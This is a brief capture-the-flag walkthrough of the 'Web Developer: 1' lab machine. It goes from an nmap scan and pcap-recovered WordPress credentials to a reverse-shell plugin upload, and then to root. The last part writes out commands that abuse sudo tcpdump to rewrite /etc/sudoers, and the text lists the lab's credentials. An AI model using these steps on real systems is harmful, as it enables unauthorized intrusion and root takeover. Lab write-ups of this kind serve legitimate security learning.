Web Developer: 1

Strated with nmap scan found two open ports 22,80

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d2:ac:73:4c:17:ec:6a:82:79:87:5a:f9:22:d4:12:cb (RSA)
|   256 9c:d5:f3:2c:e2:d0:06:cc:8c:15:5a:5a:81:5b:03:3d (ECDSA)
|_  256 ab:67:56:69:27:ea:3e:3b:33:73:32:f8:ff:2e:1f:20 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 4.9.8
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Example site &#8211; Just another WordPress site
```

On port 80 wordpress CMS found with version 4.9.8

Tried gobuster with common.txt and nikto on port 80, nikto output is not much interesting but found a directory **/ipdata** with directory bruteforcing

inside that there is a pcap file with some captured data in that found a POST request to wp-login in that request found wordpress credentials,

webdeveloper : Te5eQg&4sBS!Yr$)wf%(DcAd

logged in with the creds and inside **plugin > upload new plugin** and upload **php-reverse-shell.php** which is reverse shell script

then start nc and go to **/wp-content /uploads/2019/10/php-reverse-shell.php**

got reverse shell as www-data inside config.php found database creds which are same as **webdeveloper** user, logged in as webdeveloper user

webdeveloper : MasterOfTheUniverse

tried for sudo command and found that we can run **tcpdump** as root user

Exploit this permission with the folowing commands

```
$ echo 'chmod 777 /etc/sudoers && echo "webdeveloper ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/.exp
$ chmod 777 /tmp/.exp
$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.exp -Z root
$ sudo su
```

and we got root